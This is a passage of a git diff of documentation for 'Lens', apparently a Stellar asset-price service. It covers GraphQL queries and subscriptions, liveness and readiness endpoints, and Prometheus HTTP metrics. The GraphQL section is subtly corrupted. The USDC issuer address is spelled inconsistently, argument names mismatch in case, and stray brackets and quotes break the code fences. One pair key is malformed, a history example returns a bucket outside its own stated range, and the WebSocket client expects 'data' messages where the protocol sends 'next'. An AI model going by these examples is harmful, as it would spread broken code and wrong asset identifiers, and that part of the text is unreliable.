| `Float` | Closing price for the bucket. | +| `high` | `Float` | Highest price recorded during the bucket. | +| `low` | `Float` | Lowest price recorded during the bucket. | + +#### `PriceUpdate` +Payload delivered on every real-time subscription event. + +| Field | Type | Description | +|---|---|---| +| `pair` | `String!` | Canonical pair key (e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM` or `XLM/USDC`). | +| `price` | `Float!` | Latest recorded trade or reserve spot price. | +| `ts` | `String!` | ISO-8601 timestamp of trade execution or ingestion. | +| `network` | `String!` | Network of origin: `"testnet"` or `"mainnet"`. | + +--- + +## Queries & Runnable Examples + +All examples below can be executed directly against a running Lens instance. Canonical asset representations use standard Stellar format: native lumens as `XLM` or `native`, and issued assets as `CODE:ISSUER` (for example, Circle USDC on Stellar mainnet: `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRR34K4KZVN`)`. + +### 1. `getPrice` + +Retrieves the latest aggregated price, multi-timeframe VWAPs, 24-hour volume, and the current optimal trade route. + +#### Query Definition +```graphql +query GetAssetPrice($assetA: String!, $assetB: String!) { + getPrice(assetA: $assetA, assetB: $assetB) { + assetA + assetB + pairKey + price + sdexPrice + ammPrice + bestRoute + volume24h + vwap1h + vwap24h + priceChange24h + lastUpdated + confidence + } +} +``` + +#### Runnable `curl` Command +[```bash +curl -s -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{ + "query": "query GetAssetPrice($assetA: String!, $assetB: String!) { getPrice(assetA: $assetA, assetB: $assetB) { assetA assetB pairKey price sdexPrice ammPrice bestRoute volume24h vwap1h vwap24h priceChange24h lastUpdated confidence } }", + "variables": { + "assetA": "XLM", + "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN" + } + }' +```] + +#### Example Response +```json +{ + "data": { + "getPrice": { + "assetA": "XLM", + "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN", + "pairKey": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM", + "price": 0.1245, + "sdexPrice": 0.1244, + "ammPrice": 0.1246, + "bestRoute": "SDEX", + "volume24h": 1425000.5, + "vwap1h": 0.1242, + "vwap24h": 0.1238, + "priceChange24h": 1.25, + "lastUpdated": "2026-10-17T04:15:00.000Z", + "confidence": "HIGH" + } + } +} +``` + +--- + +### 2. `getBestRoute` + +Simulates swap execution for an explicit order amount across both NDEX order books and AMM liquidity pools, calculating projected output tokens and slippage. + +#### Query Definition +```graphql +query GetBestExecutionRoute($assetA: String!, $assetB: String!, $amount: Float!) { + getBestRoute(assetA: $assetA, assetB: $assetB, Amount: $amount) { + route + sdexPrice + ammPrice + estimatedOutput + slippagePct + recommendation + } +} +``` + +#### Runnable `curl` Command +[```bash +curl -s -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{ + "query": "query GetBestExecutionRoute($assetA: String!, $assetB: String!, $amount: Float!) { getBestRoute(assetA: $assetA, assetB: $assetB, amount: $amount) { route sdexPrice ammPrice estimatedOutput slippagePct recommendation } }", + "variables": { + "assetA": "XLM", + "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRR34K4KZVN", + "amount": 10000.0 + } + }' +```] + +#### Example Response +```json +{ + "data": { + "getBestRoute": { + "route": "AMM", + "sdexPrice": 0.1241, + "ammPrice": 0.1246, + "estimatedOutput": 1243.85, + "slippagePct": 0.15, + "recommendation": "AMM provides 0.4% higher net output after order book spread." + } + } +} +``` + +--- + +### 3. `getPriceHistory` + +Retrieves historical aggregated price buckets (OHLCV and VWAP) for a given pair and timeframe window (`1m`, `5m`, `1h`, `24h`). + +`from` and `to` are optional ISO 8601 timestamps that constrain the query to an explicit time range. The range is **exclusive at the upper end** — a bucket is returned only if its start is `>= from` and `< to`. This is deliberately different from the REST `history` route, which is inclusive at both ends and thus double-counts boundary buckets across adjacent windows. When `from` omitted the range extends backward from `to` (or now) for at most `limit` buckets; when `to` omitted the range extends forward from `from` (or the oldest available bucket) to now. A `from` later than `to` is an error, as is a range that would produce more buckets than the server allows (the same cap the REST history route rejects as over-large). + +#### Query Definition +```graphql +query GetPairHistory($assetA: String!, $assetB: String!, $window: String!, $from: String, $to: String, $limit: Int) { + getPriceHistory(assetA: $assetA, assetB: $assetB, window: $window, from: $from, to: $to, limit: $limit) { + bucket + window + vwap + sdexVwap + ammVwap + volume + tradeCount + open + close + high + low + } +} +``` + +#### Runnable `curl` Command +[```bash +curl -s -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{ + "query": "query GetPairHistory($assetA: String!, $assetB: String!, $window: String!, $from: String, $to: String, $limit: Int) { getPriceHistory(assetA: $assetA, assetB: $assetB, window: $window, from: $from, to: $to, limit: $limit) { bucket window vwap sdexVwap ammVwap volume tradeCount open close high low } }", + "variables": { + "assetA": "XLM", + "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN", + "window": "1h", + "from": "2026-10-16T00:00:00.000Z", + "to": "2026-10-17T00:00:00.000Z", + "limit": 5 + } + }' +```] + +#### Example Response +```json +{ + "data": { + "getPriceHistory": [ + { + "bucket": "2026-10-17T03:00:00.000Z", + "window": "1h", + "vwap": 0.1243, + "sdexVwap": 0.1242, + "ammVwap": 0.1244, + "volume": 68420.0, + "tradeCount": 142, + "open": 0.1241, + "close": 0.1245, + "high": 0.1250, + "low": 0.1238 + } + ] + } +} +``` + +--- + +### 4. `listPairs` + +Returns the canonical list of pair keys currently being tracked and priced by the service. + +#### Query Definition +```graphql +query { + listPairs +} +``` + +#### Runnable `curl` Command +[```bash +curl -s -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{ + "query": "query { listPairs }" + }' +```] + +#### Example Response +```json +{ + "data": { + "listPairs": [ + "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM", + "AQU:XLM:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN" + ] + } +} +``` + +--- + +## Live Price Subscriptions (`graphql-transport-ws`) + +Live price updates are streamed over WebSocket using the [`graphql-transport-ws`](https://github.com/enisdenjo/graphql-ws) subprotocol. The client must negotiate this subprotocol during the WebSocket handshake. + +### Protocol Handshake Walkthrough + +1. Open a WebSocket to `ws://localhost:3002/graphql` with the subprotocol `graphql-transport-ws`. +2. Send a `connection_init`" message. The server replies with `connection_ack` on success. +3. Send a `subscribe` message containing the GraphQL subscription document and variables. +4. Receive `data` messages as price updates arrive. +5. Send `complete` to unsubscribe, or close the socket. + +### Network Filtering Semantics + +The `priceUpdated` subscription accepts an optional `network` argument: + +- @omitted or `null`: receive updates from all networks. +- `"testnet"`: receive only testnet updates. +- `"mainnet" : receive only mainnet updates. + +### Runnable Client Example (Raw WebSocket & Handshake) + +```typescript +import WebSocket from 'ws'; + +const ws = new WebSocket('ws://localhost:3002/graphql', 'graphql-transport-ws'); + +ws.on('open', () => { + ws.send(JSON.stringify({ type: 'connection_init' })); +}); + +ws.on('message', (raw) => { + const msg = JSON.parse(raw.toString()); + if (msg.type === 'connection_ack') { + ws.send(JSON.stringify({ + id: '1', + type: 'subscribe', + payload: { + query: `subscription PriceUpdates($pair: String!) { priceUpdated(pair: $pair) { pair price ts network } }`, + variables: { pair: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN/XLM' }, + }, + })); + } else if (msg.type === 'data') { + console.log('price update', msg.payload.data.priceUpdated); + } +}); +``` + +### Runnable Client Example (`graphql-ws` Library) + +```typescript +import { createClient } from 'graphql-ws'; +import WebSocket from 'ws'; + +const client = createClient({ + url: 'ws://localhost:3002/graphql', + webSocketImpl: WebSocket as any, +}); + +const unsubscribe = client.subscribe( + { query: `subscription PriceUpdates($pair: String!) { priceUpdated(pair: $pair) { pair price ts network } }`, variables: { pair: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN/XLM' } }, + { next: (data) => console.log('price update', data), error: console.error, complete: () => console.log('done') }, +); + +// Call unsubscribe() to stop the stream. +``` + +--- + +## Capabilities & Gaps Against REST + +| Capability | REST `/prices/history` | GraphQL `getPriceHistory` | +|---|---|---| +| Explicit time range | `from` / `to` | `from` / `to` | +| Boundary inclusivity | inclusive at both ends | exclusive at the upper (`to`) end | +| Over-large range rejection | yes | yes (same cap) | +| `from` after `to` is an error | yes | yes | diff --git a/docs/health.md b/docs/health.md index f461a794..5375c1c0 100644 --- a/docs/health.md +++ b/docs/health.md @@ -1,128 +1,128 @@ -# Liveness and readiness - -`/status` is a health endpoint, but it answers neither question a platform -actually asks, and the two are not the same question: - -| | Question | Consequence of a wrong answer | -|---|---|---| -| `/live` | Is this process wedged and in need of a **kill**? | Restarting healthy processes turns a dependency blip into a fleet-wide cold-start storm | -| `/ready` | Should this process receive **traffic** yet? | Sending traffic to a process that cannot answer it | - -`/status` reads `indexer_state`, so it fails when Postgres is unreachable — which -makes it useless as a liveness signal — and it says nothing about whether the -process has finished booting. Both probes are public, exempt from rate limiting, -and excluded from `http_requests_total` (see below). - -## `GET /live` - -```json -{ "ok": true, "uptimeSeconds": 3600 } -``` - -Answers `200` as long as the event loop is turning — reaching the handler *is* -the signal. It touches neither Postgres nor Redis, deliberately, and it stays -healthy even when every dependency is down. - -That is the important property. A liveness probe that fails during a database -outage has the orchestrator restarting every instance at the same moment, which -turns a recoverable dependency outage into a cold-start storm during which -nothing — including the instances that were healthy — can serve. - -`uptimeSeconds` lets an operator watching a restart loop tell restarts apart -from a process that is wedged without being restarted. - -## `GET /ready` - -`200` with `ok: true` when the instance can serve, `503` with `ok: false` -otherwise. The body is identical either way; `ok` and the status code together -say whether to route traffic here. - -```json -{ - "ok": false, - "booted": false, - "checks": { - "postgres": { "status": "skipped", "latencyMs": 0, "reason": "not part of readiness" }, - "redis": { "status": "skipped", "latencyMs": 0, "reason": "not part of readiness" } - }, - "checkedAt": "2026-10-19T10:00:00.000Z" -} -``` - -### Before boot completes - -`app.listen()` runs part-way through `main()` (see `src/index.ts`), before the -ingesters, the retention worker and the websocket fan-out have started. Between -listening and those loops running, the process accepts requests it cannot yet -answer correctly. So `/ready` reports unhealthy until `markBootComplete()` at -the end of `main()`, and `/live` stays healthy throughout — a starting instance -needs to be **held out of rotation**, not killed. - -While not booted, no dependency is probed at all: nothing can make a not-yet- -booted process ready, so polling it costs nothing. - -### Dependency checks - -- **Postgres** — `SELECT to_regclass('public.indexer_state') IS NOT NULL`. One - cheap query that answers both reachability and whether migrations were - applied. Reachability alone would report a process with no tables as ready, - and every route that reads one would fail. `indexer_state` is the table - `/status` itself reads, so it is the exact dependency whose absence makes this - service unable to answer. -- **Redis** — `PING`. Included by default because the snapshot retention worker - and the aggregate refresh queue are Redis-backed and stop silently when it is - gone. - -A dependency reports `up`, `down` or `skipped`, plus the probe's round-trip time -and, when it is not `up`, a fixed reason phrase. The reason is never the raw -error: a connection error carries the host and port, and this is a public -endpoint. The underlying error is logged with full detail instead. - -### Cost of polling - -Platforms poll every few seconds, so: - -- each probe is bounded by `READINESS_TIMEOUT_MS` (default 2s) — deliberately - shorter than the house 10s outbound deadline, because a probe slower than its - own polling interval reports stale answers; -- answers are cached for `READINESS_CACHE_MS` (default 2s) and concurrent - callers share one in-flight run, so a poll costs at most one round trip per - dependency per interval. - -`node-postgres` exposes no `AbortSignal` on `query()`, so a probe that exceeds -its deadline returns `down` without cancelling the query underneath. The cache -is what bounds that: at most one such outstanding query per interval, instead of -one per poll. - -## Configuration - -| Variable | Default | Effect | -|---|---|---| -| `READINESS_REDIS_CHECK` | `true` | Set to `false` to leave Redis out of readiness | -| `READINESS_TIMEOUT_MS` | `2000` | Deadline for a single dependency probe | -| `READINESS_CACHE_MS` | `2000` | How long one readiness answer is reused | - -Set `READINESS_REDIS_CHECK=false` for a deployment that deliberately runs -Redis-less. Startup already treats an unavailable Redis as non-fatal and serves -prices uncached from Postgres (`src/index.ts`), so on such a deployment failing -readiness would pull a perfectly healthy instance out of rotation. - -## Why these routes are not counted - -`/metrics`, `/live` and `/ready` are excluded from `http_requests_total` and -`http_request_duration_seconds` (`EXCLUDED_ROUTES` in -`src/middleware/httpMetrics.ts`). Each is polled on a fixed interval, so -counting any of them puts a floor under the request rate that no amount of real -traffic dropping could go below — and a real outage could not move the number it -is meant to reveal. - -They are also allow-listed from rate limiting alongside `/status` -(`PROBE_PATHS` in `src/app.ts`). A `429` during an incident would take an -instance out of rotation exactly when its health matters most, and the platform -would read "throttled" as "unhealthy". - -Both send `Cache-Control: no-store`: a cached readiness answer would keep -routing traffic to an instance that has already gone away. - -`/status` is unchanged — it keeps its own cache policy, its own rate-limit +# Liveness and readiness + +`/status` is a health endpoint, but it answers neither question a platform +actually asks, and the two are not the same question: + +| | Question | Consequence of a wrong answer | +|---|---|---| +| `/live` | Is this process wedged and in need of a **kill**? | Restarting healthy processes turns a dependency blip into a fleet-wide cold-start storm | +| `/ready` | Should this process receive **traffic** yet? | Sending traffic to a process that cannot answer it | + +`/status` reads `indexer_state`, so it fails when Postgres is unreachable — which +makes it useless as a liveness signal — and it says nothing about whether the +process has finished booting. Both probes are public, exempt from rate limiting, +and excluded from `http_requests_total` (see below). + +## `GET /live` + +```json +{ "ok": true, "uptimeSeconds": 3600 } +``` + +Answers `200` as long as the event loop is turning — reaching the handler *is* +the signal. It touches neither Postgres nor Redis, deliberately, and it stays +healthy even when every dependency is down. + +That is the important property. A liveness probe that fails during a database +outage has the orchestrator restarting every instance at the same moment, which +turns a recoverable dependency outage into a cold-start storm during which +nothing — including the instances that were healthy — can serve. + +`uptimeSeconds` lets an operator watching a restart loop tell restarts apart +from a process that is wedged without being restarted. + +## `GET /ready` + +`200` with `ok: true` when the instance can serve, `503` with `ok: false` +otherwise. The body is identical either way; `ok` and the status code together +say whether to route traffic here. + +```json +{ + "ok": false, + "booted": false, + "checks": { + "postgres": { "status": "skipped", "latencyMs": 0, "reason": "not part of readiness" }, + "redis": { "status": "skipped", "latencyMs": 0, "reason": "not part of readiness" } + }, + "checkedAt": "2026-10-19T10:00:00.000Z" +} +``` + +### Before boot completes + +`app.listen()` runs part-way through `main()` (see `src/index.ts`), before the +ingesters, the retention worker and the websocket fan-out have started. Between +listening and those loops running, the process accepts requests it cannot yet +answer correctly. So `/ready` reports unhealthy until `markBootComplete()` at +the end of `main()`, and `/live` stays healthy throughout — a starting instance +needs to be **held out of rotation**, not killed. + +While not booted, no dependency is probed at all: nothing can make a not-yet- +booted process ready, so polling it costs nothing. + +### Dependency checks + +- **Postgres** — `SELECT to_regclass('public.indexer_state') IS NOT NULL`. One + cheap query that answers both reachability and whether migrations were + applied. Reachability alone would report a process with no tables as ready, + and every route that reads one would fail. `indexer_state` is the table + `/status` itself reads, so it is the exact dependency whose absence makes this + service unable to answer. +- **Redis** — `PING`. Included by default because the snapshot retention worker + and the aggregate refresh queue are Redis-backed and stop silently when it is + gone. + +A dependency reports `up`, `down` or `skipped`, plus the probe's round-trip time +and, when it is not `up`, a fixed reason phrase. The reason is never the raw +error: a connection error carries the host and port, and this is a public +endpoint. The underlying error is logged with full detail instead. + +### Cost of polling + +Platforms poll every few seconds, so: + +- each probe is bounded by `READINESS_TIMEOUT_MS` (default 2s) — deliberately + shorter than the house 10s outbound deadline, because a probe slower than its + own polling interval reports stale answers; +- answers are cached for `READINESS_CACHE_MS` (default 2s) and concurrent + callers share one in-flight run, so a poll costs at most one round trip per + dependency per interval. + +`node-postgres` exposes no `AbortSignal` on `query()`, so a probe that exceeds +its deadline returns `down` without cancelling the query underneath. The cache +is what bounds that: at most one such outstanding query per interval, instead of +one per poll. + +## Configuration + +| Variable | Default | Effect | +|---|---|---| +| `READINESS_REDIS_CHECK` | `true` | Set to `false` to leave Redis out of readiness | +| `READINESS_TIMEOUT_MS` | `2000` | Deadline for a single dependency probe | +| `READINESS_CACHE_MS` | `2000` | How long one readiness answer is reused | + +Set `READINESS_REDIS_CHECK=false` for a deployment that deliberately runs +Redis-less. Startup already treats an unavailable Redis as non-fatal and serves +prices uncached from Postgres (`src/index.ts`), so on such a deployment failing +readiness would pull a perfectly healthy instance out of rotation. + +## Why these routes are not counted + +`/metrics`, `/live` and `/ready` are excluded from `http_requests_total` and +`http_request_duration_seconds` (`EXCLUDED_ROUTES` in +`src/middleware/httpMetrics.ts`). Each is polled on a fixed interval, so +counting any of them puts a floor under the request rate that no amount of real +traffic dropping could go below — and a real outage could not move the number it +is meant to reveal. + +They are also allow-listed from rate limiting alongside `/status` +(`PROBE_PATHS` in `src/app.ts`). A `429` during an incident would take an +instance out of rotation exactly when its health matters most, and the platform +would read "throttled" as "unhealthy". + +Both send `Cache-Control: no-store`: a cached readiness answer would keep +routing traffic to an instance that has already gone away. + +`/status` is unchanged — it keeps its own cache policy, its own rate-limit allow-listing and its own response shape. \ No newline at end of file diff --git a/docs/http-metrics.md b/docs/http-metrics.md index 5f82cf50..3e8764e6 100644 --- a/docs/http-metrics.md +++ b/docs/http-metrics.md @@ -1,217 +1,217 @@ -# HTTP metrics - -Lens exports Prometheus metrics for the HTTP layer on the existing public -`/metrics` route, alongside the ingestion and database metrics defined in -[`src/metrics.ts`](../src/metrics.ts). The ingestion metrics have their own doc -— [`ingest-metrics.md`](ingest-metrics.md) — because the label constraint there -is different: they are labelled by `network` so the per-network ingester loops -cannot overwrite each other's series. - -Request rate, error rate, latency, authentication failures and load shedding -help answer "is the API healthy". The pre-existing `price_requests_total` -counts price calls specifically and cannot answer that question; it is -unchanged and still means what it always meant. - -The same cardinality rule applies to every metric family: labels must come from -fixed buckets or server-defined values. Never put raw request paths, asset -codes, issuer addresses, query values or websocket subscription strings in a -Prometheus label. - -## What is exported - -### `http_requests_total` - -Counter. Labels: `method`, `route`, `status_class`. - -| Label | Values | Notes | -| --- | --- | --- | -| `method` | `GET`, `POST`, … | The HTTP method. | -| `route` | `/price/:assetA/:assetB`, `/status`, … | The matched Fastify route **template**, never the resolved URL. Unrouted requests get the literal `unmatched`. | -| `status_class` | `2xx`, `3xx`, `4xx`, `5xx` | The status class, not the exact code. | - -### `http_request_duration_seconds` - -Histogram. Labels: `method`, `route`. - -Buckets: `0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10`. - -Observed for every request that produces a response, successful or not. - -### `api_key_auth_failures_total` - -Counter. Label: `reason`, with the bounded values `missing`, `malformed`, -`unknown`, `revoked` and `expired`. The `reason` value matches the -machine-readable `code` in the corresponding API-key 401 response. - -### `admin_auth_failures_total` - -Counter. No labels. This tracks rejected authentication attempts on admin -routes independently of API-key failures. - -### Rate-limit counters - -`rate_limit_rejections_total` is a counter labelled by the bounded `scope` -values `key` and `ip`; it counts requests rejected by the per-key or fallback -IP limiter. Those requests return HTTP 429 and code `PER_KEY_RATE_LIMITED` or -`IP_RATE_LIMITED`. - -`global_shed_requests_total` is an unlabeled counter for requests shed by the -per-instance global ceiling. Those requests return HTTP 503 with code -`GLOBAL_RATE_LIMITED`. - -Authentication metrics never include keys, hashes, tokens, key prefixes or -caller addresses as labels. - -## Global request ceiling - -`GLOBAL_RATE_LIMIT_MAX` configures the maximum accepted non-health requests -per rolling 60-second window on each instance; it defaults to `1000` and must -be a positive integer. The global check runs after the per-key/IP limiter, so -per-key 429 responses remain distinct and are not counted against the global -ceiling. - -At 80% of the ceiling, rounded up, the service starts shedding expensive -route templates (GraphQL, price, route, pools, candles, history, screener, -benchmark, oracle, compare, basket, venues, spreads, volumes, book, verify -and settle) to preserve room for other routes. Once the ceiling is full, it -sheds all non-health routes. -`/status`, `/live` and `/ready` are always exempt. Shed requests include a -`Retry-After` header. - -The ceiling is **per instance**, not deployment-wide. With `N` equally -configured instances the approximate aggregate ceiling is -`GLOBAL_RATE_LIMIT_MAX x N`; choose the per-instance value based on instance -capacity and expected autoscaling so scaling out does not imply a higher -deployment-wide traffic budget than intended. - -## Why the labels look like this - -Cardinality is the whole design constraint. A histogram labelled by `req.url` -would mint a new time series for every asset pair, every address and every -cursor Lens is asked about — an unbounded set driven by callers, which -eventually degrades the Prometheus instance scraping it. - -So: - -- **`route` is the route template.** Fastify exposes the matched route on - `req.routeOptions.url`; that is what is used. 100 requests to 100 distinct - addresses produce **one** series, not 100 — asserted in - [`tests/httpMetrics.test.ts`](../tests/httpMetrics.test.ts). -- **Unmatched requests collapse to `unmatched`.** A 404 uses the literal string - rather than the raw path, so a scanner probing a thousand URLs cannot mint a - thousand series. -- **`status_class`, not `status`.** This bounds the series count at - `methods x routes x 5` rather than `methods x routes x ~60`. If a concrete - need for an exact code appears, add it then — it is easy to add a label and - painful to remove one dashboards depend on. -- **Websocket pairs use fixed buckets.** `ws_clients_total`, - `ws_messages_sent_total`, `ws_messages_dropped_total` and - `ws_clients_dropped_total` retain their `pair` label, but pair-specific - subscriptions are recorded as `other`; `*` remains the aggregate across all - subscriptions. Arbitrary pair names and issuer addresses stay in fanout state - only and cannot create Prometheus series. `ws_buffered_bytes` is aggregate-only - (`*`): one series per connected client would be unbounded cardinality driven by - caller-supplied subscription strings. See - [`websocket-backpressure.md`](websocket-backpressure.md). - -## Excluded routes - -`/metrics`, `/live` and `/ready` are not counted at all (`EXCLUDED_ROUTES` in -[`src/middleware/httpMetrics.ts`](../src/middleware/httpMetrics.ts)). Each is -polled on a fixed interval — by the scraper for the first, by the platform for -the other two — so counting any of them would have the poller continuously -inflate the very numbers it is reading. Request rate could never fall to zero on -an idle service, and a real outage could not move it, which is the opposite of -what these two metrics are for. See [`health.md`](health.md). - -## Bucket choice - -The prom-client defaults cluster below 1s and suit fast in-process handlers. -Lens handlers are not that: a request does a Redis cache lookup (single-digit -ms) or, on a miss, a Postgres aggregate query plus — for `/price` and `/route` — -Horizon/Soroswap network round-trips. - -The buckets therefore give resolution in two regions: - -- **5ms–50ms** — cache hits, the common fast path. Enough granularity to see the - Redis path regress before users notice. -- **100ms–2.5s** — DB aggregates and upstream venue calls. This is where p95 - actually lives and where an SLO would be set. - -The 5s and 10s buckets catch upstream stalls short of a timeout. Anything slower -lands in `+Inf` and surfaces as a saturated p99. - -## Registration order - -The hook is registered **first** in [`src/index.ts`](../src/index.ts) — ahead of -the network selector, API-key auth, the rate limiter and x402. - -This matters. All of those reject requests from an `onRequest` hook, and Fastify -runs `onRequest` hooks in registration order. Registering the metrics plugin -later would mean a request rejected by auth or x402 short-circuits before the -timer starts, losing exactly the 401/402/429 traffic an operator most wants to -see. - -`/metrics` itself is excluded from counting. It is scraped on a fixed interval, -so counting it would have the scraper continuously inflate the numbers it is -reading — request rate would never fall to zero on an idle service. `/live` and -`/ready` are excluded for the same reason, polled by a different timer. - -## Queries - -```promql -# Request rate (per second, 5m window) -sum(rate(http_requests_total[5m])) by (route) - -# Error rate as a fraction of all requests -sum(rate(http_requests_total{status_class="5xx"}[5m])) - / sum(rate(http_requests_total[5m])) - -# p95 latency across the service -histogram_quantile(0.95, - sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) - -# p95 latency per route — find which endpoint is slow -histogram_quantile(0.95, - sum(rate(http_request_duration_seconds_bucket[5m])) by (le, route)) -``` - -## Suggested alerts - -These are starting points; tune the thresholds against observed traffic before -paging anyone with them. - -```yaml -groups: - - name: lens-http - rules: - - alert: LensHighErrorRate - expr: | - sum(rate(http_requests_total{status_class="5xx"}[5m])) - / sum(rate(http_requests_total[5m])) > 0.05 - for: 10m - labels: { severity: critical } - annotations: - summary: "Lens is serving over 5% 5xx" - - - alert: LensHighLatencyP95 - expr: | - histogram_quantile(0.95, - sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) > 2.5 - for: 15m - labels: { severity: warning } - annotations: - summary: "Lens p95 latency above 2.5s" - - - alert: LensNoTraffic - expr: sum(rate(http_requests_total[10m])) == 0 - for: 15m - labels: { severity: warning } - annotations: - summary: "Lens is serving no requests — check ingress or the scraper" -``` - -A note on `LensHighErrorRate`: the ratio is undefined when there is no traffic, -which is why `LensNoTraffic` exists separately rather than trying to make one -rule cover both. A service serving zero requests is a real problem that an error -*ratio* will never fire on. +# HTTP metrics + +Lens exports Prometheus metrics for the HTTP layer on the existing public +`/metrics` route, alongside the ingestion and database metrics defined in +[`src/metrics.ts`](../src/metrics.ts). The ingestion metrics have their own doc +— [`ingest-metrics.md`](ingest-metrics.md) — because the label constraint there +is different: they are labelled by `network` so the per-network ingester loops +cannot overwrite each other's series. + +Request rate, error rate, latency, authentication failures and load shedding +help answer "is the API healthy". The pre-existing `price_requests_total` +counts price calls specifically and cannot answer that question; it is +unchanged and still means what it always meant. + +The same cardinality rule applies to every metric family: labels must come from +fixed buckets or server-defined values. Never put raw request paths, asset +codes, issuer addresses, query values or websocket subscription strings in a +Prometheus label. + +## What is exported + +### `http_requests_total` + +Counter. Labels: `method`, `route`, `status_class`. + +| Label | Values | Notes | +| --- | --- | --- | +| `method` | `GET`, `POST`, … | The HTTP method. | +| `route` | `/price/:assetA/:assetB`, `/status`, … | The matched Fastify route **template**, never the resolved URL. Unrouted requests get the literal `unmatched`. | +| `status_class` | `2xx`, `3xx`, `4xx`, `5xx` | The status class, not the exact code. | + +### `http_request_duration_seconds` + +Histogram. Labels: `method`, `route`. + +Buckets: `0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10`. + +Observed for every request that produces a response, successful or not. + +### `api_key_auth_failures_total` + +Counter. Label: `reason`, with the bounded values `missing`, `malformed`, +`unknown`, `revoked` and `expired`. The `reason` value matches the +machine-readable `code` in the corresponding API-key 401 response. + +### `admin_auth_failures_total` + +Counter. No labels. This tracks rejected authentication attempts on admin +routes independently of API-key failures. + +### Rate-limit counters + +`rate_limit_rejections_total` is a counter labelled by the bounded `scope` +values `key` and `ip`; it counts requests rejected by the per-key or fallback +IP limiter. Those requests return HTTP 429 and code `PER_KEY_RATE_LIMITED` or +`IP_RATE_LIMITED`. + +`global_shed_requests_total` is an unlabeled counter for requests shed by the +per-instance global ceiling. Those requests return HTTP 503 with code +`GLOBAL_RATE_LIMITED`. + +Authentication metrics never include keys, hashes, tokens, key prefixes or +caller addresses as labels. + +## Global request ceiling + +`GLOBAL_RATE_LIMIT_MAX` configures the maximum accepted non-health requests +per rolling 60-second window on each instance; it defaults to `1000` and must +be a positive integer. The global check runs after the per-key/IP limiter, so +per-key 429 responses remain distinct and are not counted against the global +ceiling. + +At 80% of the ceiling, rounded up, the service starts shedding expensive +route templates (GraphQL, price, route, pools, candles, history, screener, +benchmark, oracle, compare, basket, venues, spreads, volumes, book, verify +and settle) to preserve room for other routes. Once the ceiling is full, it +sheds all non-health routes. +`/status`, `/live` and `/ready` are always exempt. Shed requests include a +`Retry-After` header. + +The ceiling is **per instance**, not deployment-wide. With `N` equally +configured instances the approximate aggregate ceiling is +`GLOBAL_RATE_LIMIT_MAX x N`; choose the per-instance value based on instance +capacity and expected autoscaling so scaling out does not imply a higher +deployment-wide traffic budget than intended. + +## Why the labels look like this + +Cardinality is the whole design constraint. A histogram labelled by `req.url` +would mint a new time series for every asset pair, every address and every +cursor Lens is asked about — an unbounded set driven by callers, which +eventually degrades the Prometheus instance scraping it. + +So: + +- **`route` is the route template.** Fastify exposes the matched route on + `req.routeOptions.url`; that is what is used. 100 requests to 100 distinct + addresses produce **one** series, not 100 — asserted in + [`tests/httpMetrics.test.ts`](../tests/httpMetrics.test.ts). +- **Unmatched requests collapse to `unmatched`.** A 404 uses the literal string + rather than the raw path, so a scanner probing a thousand URLs cannot mint a + thousand series. +- **`status_class`, not `status`.** This bounds the series count at + `methods x routes x 5` rather than `methods x routes x ~60`. If a concrete + need for an exact code appears, add it then — it is easy to add a label and + painful to remove one dashboards depend on. +- **Websocket pairs use fixed buckets.** `ws_clients_total`, + `ws_messages_sent_total`, `ws_messages_dropped_total` and + `ws_clients_dropped_total` retain their `pair` label, but pair-specific + subscriptions are recorded as `other`; `*` remains the aggregate across all + subscriptions. Arbitrary pair names and issuer addresses stay in fanout state + only and cannot create Prometheus series. `ws_buffered_bytes` is aggregate-only + (`*`): one series per connected client would be unbounded cardinality driven by + caller-supplied subscription strings. See + [`websocket-backpressure.md`](websocket-backpressure.md). + +## Excluded routes + +`/metrics`, `/live` and `/ready` are not counted at all (`EXCLUDED_ROUTES` in +[`src/middleware/httpMetrics.ts`](../src/middleware/httpMetrics.ts)). Each is +polled on a fixed interval — by the scraper for the first, by the platform for +the other two — so counting any of them would have the poller continuously +inflate the very numbers it is reading. Request rate could never fall to zero on +an idle service, and a real outage could not move it, which is the opposite of +what these two metrics are for. See [`health.md`](health.md). + +## Bucket choice + +The prom-client defaults cluster below 1s and suit fast in-process handlers. +Lens handlers are not that: a request does a Redis cache lookup (single-digit +ms) or, on a miss, a Postgres aggregate query plus — for `/price` and `/route` — +Horizon/Soroswap network round-trips. + +The buckets therefore give resolution in two regions: + +- **5ms–50ms** — cache hits, the common fast path. Enough granularity to see the + Redis path regress before users notice. +- **100ms–2.5s** — DB aggregates and upstream venue calls. This is where p95 + actually lives and where an SLO would be set. + +The 5s and 10s buckets catch upstream stalls short of a timeout. Anything slower +lands in `+Inf` and surfaces as a saturated p99. + +## Registration order + +The hook is registered **first** in [`src/index.ts`](../src/index.ts) — ahead of +the network selector, API-key auth, the rate limiter and x402. + +This matters. All of those reject requests from an `onRequest` hook, and 